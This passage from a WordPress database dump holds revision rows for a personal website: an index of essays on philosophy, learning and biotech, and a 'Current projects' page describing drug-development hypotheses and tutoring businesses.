href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2024-09-03 14:00:20','2024-09-03 14:00:20','',22,'https://trevorklee.com/?p=458',0,'revision','',0),
(461,1,'2025-07-03 17:49:51','2025-07-03 17:49:51','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">NeutraOat</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>There are many environmental toxins we pick up through our digestive tract that are bad for human health, like plasticizers and PFAS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many of these are small and hydrophobic.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s possible to modify oat beta glucan fiber to selectively pick up these small, hydrophobic toxins without picking up anything good.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>1 and 2 are based on the literature.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>3 is a work in progress.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: running experiments and getting people on the waiting list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Some chronic, age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2025-07-03 17:49:51','2025-07-03 17:49:51','',2,'https://trevorklee.com/?p=461',0,'revision','',0),
(462,1,'2025-07-03 17:50:28','2025-07-03 17:50:28','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">NeutraOat</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>There are many environmental toxins we pick up through our digestive tract that are bad for human health, like plasticizers and PFAS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many of these are small and hydrophobic.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s possible to modify oat beta glucan fiber to selectively pick up these small, hydrophobic toxins without picking up anything good.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>1 and 2 are based on the literature.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>3 is a work in progress.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: running experiments and getting people on the waiting list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Some chronic, 